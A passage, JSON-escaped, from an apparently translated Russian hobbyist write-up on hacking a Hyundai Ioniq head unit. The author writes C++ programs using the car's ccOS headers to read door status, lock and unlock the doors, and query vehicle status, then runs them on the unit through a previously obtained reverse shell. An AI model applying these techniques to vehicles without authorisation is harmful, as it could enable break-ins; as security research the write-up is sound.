\u043a\u043e\u043f\u0438\u0440\u0430\u0439\u0442\u0435, \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0435\u0449\u0451 2016 \u0433\u043e\u0434\u043e\u043c.<\/p>\n<p>  \u0421\u0443\u0434\u044f \u043f\u043e \u0444\u0430\u0439\u043b\u0430\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432, \u043e\u043d\u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0442 \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043e\u043f\u0440\u043e\u0441\u0430 \u0442\u0430\u043a\u0438\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u043a\u0430\u043a \u043e\u0434\u043e\u043c\u0435\u0442\u0440 \u0438 \u043d\u0430\u043f\u0440\u044f\u0436\u0435\u043d\u0438\u044f \u0430\u043a\u043a\u0443\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0430\u043f\u043e\u0434\u043e\u0431\u0438\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f \u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438\/\u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0434\u0432\u0435\u0440\u0435\u0439.<\/p>\n<h1>\u041f\u0443\u0442\u044c \u043e\u0448\u0438\u0431\u043e\u043a<\/h1>\n<p>  \u042f \u0445\u043e\u0442\u0435\u043b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0443\u044e \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 ccOS \u0434\u043b\u044f \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0434\u0432\u0435\u0440\u0435\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0438\u043c \u0441\u0438\u0433\u043d\u0430\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0438\u043b\u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438.<\/p>\n<p>  \u042f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b \u0432 \u0412\u041c Kali Visual Studio Code \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043a\u0440\u043e\u0441\u0441-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u0430 g++ arm (arm-linux-gnueabi-g++ \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 g++-arm-linux-gnueabi).<\/p>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u044f \u0445\u043e\u0442\u0435\u043b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0435, \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u0438\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0434\u0432\u0435\u0440\u044c \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f.<\/p>\n<p>  \u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 ccOS \u0441 \u0438\u043c\u0435\u043d\u0435\u043c <code>HBody.h<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043a\u043b\u0430\u0441\u0441 <code>HBody<\/code>. <code>HBody<\/code> \u2014 \u044d\u0442\u043e \u0441\u0438\u043d\u0433\u043b\u0442\u043e\u043d, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0432 \u0441\u0435\u0431\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u0435\u0442\u043e\u0434 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 <code>HBody<\/code>. \u0421\u0430\u043c <code>HBody<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0435\u0442\u043e\u0434 <code>isDoorOpened<\/code>, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u043e\u043d\u044f\u0442\u044c, \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u043b\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0434\u0432\u0435\u0440\u044c.<\/p>\n<p>  \u0412\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432 <code>HBody<\/code> \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0442 <code>HResult<\/code>, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0449\u0438\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043b\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043e\u0431\u044a\u0435\u043a\u0442\u0443 \u0438\u043b\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0432\u0448\u0443\u044e \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u041a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0442\u0438\u043f \u0432\u044b\u0432\u043e\u0434\u0430 \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0430.<\/p>\n<p>  \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>isDoorOpened<\/code> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 <code>HDoorPosition<\/code>, \u0447\u0442\u043e\u0431\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u044c, \u043a\u0430\u043a\u0430\u044f \u0438\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0445 \u0434\u0432\u0435\u0440\u0435\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u0430 (\u043f\u0435\u0440\u0435\u0434\u043d\u044f\u044f \u043b\u0435\u0432\u0430\u044f\/\u043f\u0440\u0430\u0432\u0430\u044f, \u0437\u0430\u0434\u043d\u044f\u044f \u043b\u0435\u0432\u0430\u044f\/\u043f\u0440\u0430\u0432\u0430\u044f, \u0434\u0432\u0435\u0440\u044c \u0431\u0430\u0433\u0430\u0436\u043d\u0438\u043a\u0430), \u0438 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 <code>HTriState<\/code>, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e, \u043e\u0442\u043a\u0440\u044b\u0442\u0430 \u043b\u0438 \u0434\u0432\u0435\u0440\u044c (False, True, Invalid).<\/p>\n<p>  \u0412\u043e\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043c\u043d\u043e\u0439 \u043a\u043e\u0434:<\/p>\n<pre><code class=\"cpp\">#include &lt;iostream> #include &lt;vector> #include &lt;string> #include \"HBody.h\"  using namespace std;  const char* HResultToString(ccos::HResult result) {     switch (result)     {         case ccos::HResult::INVALID:             return \"INVALID\";         case ccos::HResult::OK:             return \"OK\";             case ccos::HResult::ERROR:             return \"ERROR\";             case ccos::HResult::NOT_SUPPORTED:             return \"NOT_SUPPORTED\";             case ccos::HResult::OUT_OF_RANGE:             return \"OUT_OF_RANGE\";             case ccos::HResult::CONNECTION_FAIL:             return \"CONNECTION_FAIL\";             case ccos::HResult::NO_RESPONSE:             return \"NO_RESPONSE\";             case ccos::HResult::UNAVAILABLE:             return \"UNAVAILABLE\";         case ccos::HResult::NULLPOINTER:             return \"NULLPOINTER\";             case ccos::HResult::NOT_INITIALIZED:             return \"NOT_INITIALIZED\";             case ccos::HResult::TIMEOUT:             return \"TIMEOUT\";             case ccos::HResult::PERMISSION_DENIED:             return \"PERMISSION_DENIED\";             case ccos::HResult::ALREADY_EXIST:             return \"ALREADY_EXIST\";            case ccos::HResult::SOME_UNAVAILABLE:             return \"SOME_UNAVAILABLE\";            case ccos::HResult::INVALID_RESULT:             return \"INVALID_RESULT\";             case ccos::HResult::MAX:             return \"MAX\";         default:             return \"Other\";     } }  int main() {     cout &lt;&lt; \"Ioniq Test Application\";     cout &lt;&lt; endl;      ccos::vehicle::general::HBody *body = ccos::vehicle::general::HBody::getInstance();      ccos::vehicle::HTriState doorState;     ccos::HResult doorOpenedResult = body->isDoorOpened(ccos::vehicle::HDoorPosition::FRONT_LEFT, doorState);     if (doorOpenedResult == ccos::HResult::OK) {         cout &lt;&lt; \"Door Result: \" &lt;&lt; (doorState == ccos::vehicle::HTriState::TRUE ? \"Open\" : \"Closed\");         cout &lt;&lt; endl;     } else {         cout &lt;&lt; \"isDoorOpened did not return OK. Actual return: \" &lt;&lt; HResultToString(doorOpenedResult);         cout &lt;&lt; endl;     }      cout &lt;&lt; \"Finished door test\";     cout &lt;&lt; endl; }<\/code><\/pre>\n<p>  <\/p>\n<h1>\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c\u2026 (\u043d\u0435 \u0434\u0435\u043b\u0430\u0439\u0442\u0435 \u044d\u0442\u043e\u0433\u043e)<\/h1>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e. \u042f \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u0432 VS Code \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u0431\u043e\u0440\u043a\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 arm-linux-gnueabi-g++ \u0438 \u0443\u043a\u0430\u0437\u0430\u043b root \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <code>system.img<\/code>. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u043e\u043d\u0430 \u0432\u044b\u0434\u0430\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0443.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/877\/689\/9c6\/8776899c610dadecbe375a8b5fd0b061.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/877\/689\/9c6\/8776899c610dadecbe375a8b5fd0b061.png\"\/><\/div>\n<p>  \u0423\u043f\u0441! \u0414\u0430, \u044f \u043d\u0435 \u043f\u0440\u0438\u0432\u044b\u043a \u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043d\u0430 C++ \u0438 \u0437\u0430\u0431\u044b\u043b \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <code>HBody<\/code>. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043e\u043d\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f <code>HVehicle<\/code>. \u041f\u043e\u0441\u043b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u0441\u044b\u043b\u043a\u043e\u0439\u2026<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/d31\/121\/650\/d31121650e2f9e1d5d514ff58ca4bc8f.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/d31\/121\/650\/d31121650e2f9e1d5d514ff58ca4bc8f.png\"\/><\/div>\n<p>  \u0414\u0430, \u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u0437\u043d\u0430\u044e C++ \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e. \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0433\u0443\u0433\u043b\u0438\u0432, \u044f \u0432\u044b\u044f\u0441\u043d\u0438\u043b, \u0447\u0442\u043e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 <code>std<\/code>, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0441 \u043c\u043e\u0438\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c, \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043d\u043e\u0432\u044b\u0435 \u0438 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0443\u0436\u043d\u0430 <code>HVehicle<\/code>. \u042f \u0441\u043e\u0437\u0434\u0430\u043b \u0444\u0430\u0439\u043b \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0439, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0432\u043a\u043b\u044e\u0447\u0438\u043b \u043f\u0430\u043f\u043a\u0438 <code>\/usr\/lib\/<\/code> \u0438 <code>\/usr\/lib\/arm-telechips-linux-gnueabi\/4.8.1\/<\/code>.<\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0437\u0430\u0434\u0430\u0447\u0443 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u043d\u043e\u0432\u0430, \u0438\u2026<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/c20\/191\/eb8\/c20191eb828879594b1c7b9a7cc0c8a2.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/c20\/191\/eb8\/c20191eb828879594b1c7b9a7cc0c8a2.png\"\/><\/div>\n<p>  \u041d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0443 \u043c\u0435\u043d\u044f \u0435\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0430\u044f (\u043d\u0430\u0434\u0435\u044e\u0441\u044c) \u0441\u0431\u043e\u0440\u043a\u0430! \u042f \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430 USB-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c \u0438 \u0437\u0430\u043b\u0435\u0437 \u0432 \u043c\u0430\u0448\u0438\u043d\u0443.<\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u043f\u0430\u043f\u043a\u0443 \/tmp\/, \u043f\u043e\u043c\u0435\u0442\u0438\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0435\u0433\u043e.<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/752\/8ff\/d65\/7528ffd651ea49fcb6730f99d8e73a1a.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/752\/8ff\/d65\/7528ffd651ea49fcb6730f99d8e73a1a.png\"\/><\/div>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e. \u041f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u043f\u0430\u043c\u0430 \u043b\u043e\u0433\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043f\u043e\u0445\u043e\u0436\u0435, \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u043b \u043e\u0442 <code>HBody<\/code>, \u043d\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0434\u0432\u0435\u0440\u044c \u0437\u0430\u043a\u0440\u044b\u0442\u0430. \u042f \u043e\u0442\u043a\u0440\u044b\u043b \u0434\u0432\u0435\u0440\u044c, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0435\u0451 \u0441\u043d\u043e\u0432\u0430, \u0438\u2026<\/p>\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/dd2\/f62\/f51\/dd2f62f51273e12df865ca77d0839e41.png\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/dd2\/f62\/f51\/dd2f62f51273e12df865ca77d0839e41.png\"\/><\/div>\n<p>  \u0414\u0430! \u041c\u043e\u0451 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.<\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0440\u0430 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435.<\/p>\n<pre><code class=\"cpp\">#include &lt;iostream> #include &lt;string> #include \"HBody.h\" #include \"HChassis.h\"  using namespace std;  namespace ccOSUtils {     const char *HTriStateToString(ccos::vehicle::HTriState state)     {         switch (state)         {         case ccos::vehicle::HTriState::FALSE:             return \"False\";         case ccos::vehicle::HTriState::TRUE:             return \"True\";         case ccos::vehicle::HTriState::INVALID:             return \"INVALID\";         case ccos::vehicle::HTriState::MAX:             return \"MAX\";         default:             return \"Other\";         }     }      const char *HResultToString(ccos::HResult result)     {         switch (result)         {         case ccos::HResult::INVALID:             return \"Invalid\";         case ccos::HResult::OK:             return \"OK\";         case ccos::HResult::ERROR:             return \"ERROR\";         case ccos::HResult::NOT_SUPPORTED:             return \"NOT_SUPPORTED\";         case ccos::HResult::OUT_OF_RANGE:             return \"OUT_OF_RANGE\";         case ccos::HResult::CONNECTION_FAIL:             return \"CONNECTION_FAIL\";         case ccos::HResult::NO_RESPONSE:             return \"NO_RESPONSE\";         case ccos::HResult::UNAVAILABLE:             return \"UNAVAILABLE\";         case ccos::HResult::NULLPOINTER:             return \"NULLPOINTER\";         case ccos::HResult::NOT_INITIALIZED:             return \"NOT_INITIALIZED\";         case ccos::HResult::TIMEOUT:             return \"TIMEOUT\";         case ccos::HResult::PERMISSION_DENIED:             return \"PERMISSION_DENIED\";         case ccos::HResult::ALREADY_EXIST:             return \"ALREADY_EXIST\";         case ccos::HResult::SOME_UNAVAILABLE:             return \"SOME_UNAVAILABLE\";         case ccos::HResult::INVALID_RESULT:             return \"INVALID_RESULT\";         case ccos::HResult::MAX:             return \"MAX\";         default:             return \"Other\";         }     } }  int main(int argc, char *argv[]) {     cout &lt;&lt; \"Ioniq Advanced Test Application\" &lt;&lt; endl;      if (argc == 1)     {         cout &lt;&lt; \"Provide at least 1 argument (doorStatus, doorLock, status, test)\" &lt;&lt; endl;         return 0;     }      ccos::vehicle::general::HBody *body = ccos::vehicle::general::HBody::getInstance();     string command = argv[1];      if (command == \"doorStatus\")     {         if (argc != 3)         {             cout &lt;&lt; \"Expected arguments: doorStatus {fl\/fr\/rl\/rr}\" &lt;&lt; endl;             return 0;         }          string doorStr = argv[2];         ccos::vehicle::HDoorPosition doorPosition = ccos::vehicle::HDoorPosition::FRONT_LEFT;          if (doorStr == \"fl\")         {             doorPosition = ccos::vehicle::HDoorPosition::FRONT_LEFT;         }         else if (doorStr == \"fr\")         {             doorPosition = ccos::vehicle::HDoorPosition::FRONT_RIGHT;         }         else if (doorStr == \"rl\")         {             doorPosition = ccos::vehicle::HDoorPosition::REAR_LEFT;         }         else if (doorStr == \"rr\")         {             doorPosition = ccos::vehicle::HDoorPosition::REAR_RIGHT;         }          ccos::vehicle::HTriState doorState;         ccos::HResult doorOpenedResult = body->isDoorOpened(doorPosition, doorState);         if (doorOpenedResult == ccos::HResult::OK)         {             cout &lt;&lt; \"Door Result: \" &lt;&lt; (doorState == ccos::vehicle::HTriState::TRUE ? \"Open\" : \"Closed\");             cout &lt;&lt; endl;         }         else         {             cout &lt;&lt; \"isDoorOpened did not return OK. Actual return: \" &lt;&lt; ccOSUtils::HResultToString(doorOpenedResult);             cout &lt;&lt; endl;         }     }     else if (command == \"doorLock\")     {         if (argc != 3)         {             cout &lt;&lt; \"Expected arguments: doorLock {true\/false}\" &lt;&lt; endl;             return 0;         }          string shouldBeLockedStr = argv[2];         ccos::HBool shouldBeLocked = false;          if (shouldBeLockedStr[0] == 't')         {             shouldBeLocked = true;         }          cout &lt;&lt; \"Setting Door Locks to: \" &lt;&lt; (shouldBeLocked ? \"Locked\" : \"Unlocked\") &lt;&lt; endl;          ccos::HResult doorLockResult = body->requestDoorLock(shouldBeLocked);         if (doorLockResult == ccos::HResult::OK)         {             cout &lt;&lt; \"Door Lock Success\" &lt;&lt; endl;         }         else         {             cout &lt;&lt; \"Door Lock Failure: \" &lt;&lt; ccOSUtils::HResultToString(doorLockResult) &lt;&lt; endl;         }     }     else if (command == \"status\")     {         ccos::vehicle::general::HChassis *chassis = ccos::vehicle::general::HChassis::getInstance();          ccos::HFloat odometerReading = 0;         chassis->getOdometer(odometerReading);          ccos::HFloat batteryVoltage = 0;         chassis->getBatteryVoltage(batteryVoltage);          ccos::HUInt8 percentBatteryRemaining = 0;         chassis->getRemainBattery(percentBatteryRemaining);          cout &lt;&lt; \"Vehicle Status:\" &lt;&lt; endl;         cout &lt;&lt; \"\\tOdometer: \" &lt;&lt; odometerReading &lt;&lt; endl;         cout &lt;&lt; \"\\tBattery Voltage: \" &lt;&lt; batteryVoltage &lt;&lt; \"V\" &lt;&lt; endl;         cout &lt;&lt; \"\\tBattery Remaining: \" &lt;&lt; percentBatteryRemaining &lt;&lt; \"%\" &lt;&lt; endl;     }     else if (command == \"test\")     {         cout &lt;&lt; \"Testing methods that might not work\" &lt;&lt; endl;          ccos::HResult testResult;          cout &lt;&lt; \"\\tTesting Wireless Charging Pad State\" &lt;&lt; endl;         ccos::HUInt8 wirelessChargingPadState = 0;         testResult = body->getWirelessChargingPadState(wirelessChargingPadState);         cout &lt;&lt; \"\\t\\t\" &lt;&lt; ccOSUtils::HResultToString(testResult) &lt;&lt; \" - State: \" &lt;&lt; wirelessChargingPadState &lt;&lt; endl;          cout &lt;&lt; \"\\tTesting Window State (Driver)\" &lt;&lt; endl;         ccos::vehicle::HWindowType windowType = ccos::vehicle::HWindowType::DRIVER;         ccos::vehicle::HTriState windowState;         ccos::HUInt8 windowDetail;         body->getWindowOpenState(windowType, windowState, windowDetail);         cout &lt;&lt; \"\\t\\t\" &lt;&lt; ccOSUtils::HResultToString(testResult) &lt;&lt; \" - State: \" &lt;&lt; ccOSUtils::HTriStateToString(windowState) &lt;&lt; \"Detail?: \" &lt;&lt; windowDetail &lt;&lt; endl;          cout &lt;&lt; \"Completed testing methods that might not work\" &lt;&lt; endl;     }     else     {         cout &lt;&lt; \"Unknown Command\" &lt;&lt; endl;     }      cout &lt;&lt; \"Completed\" &lt;&lt; endl;     return 0; }<\/code><\/pre>\n<p>  \u042f \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u0431\u043e\u043b\u0435\u0435 \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0435\u0435 \u043e\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0434\u0432\u0435\u0440\u0438, \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445, \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c (\u043e\u043d\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0432 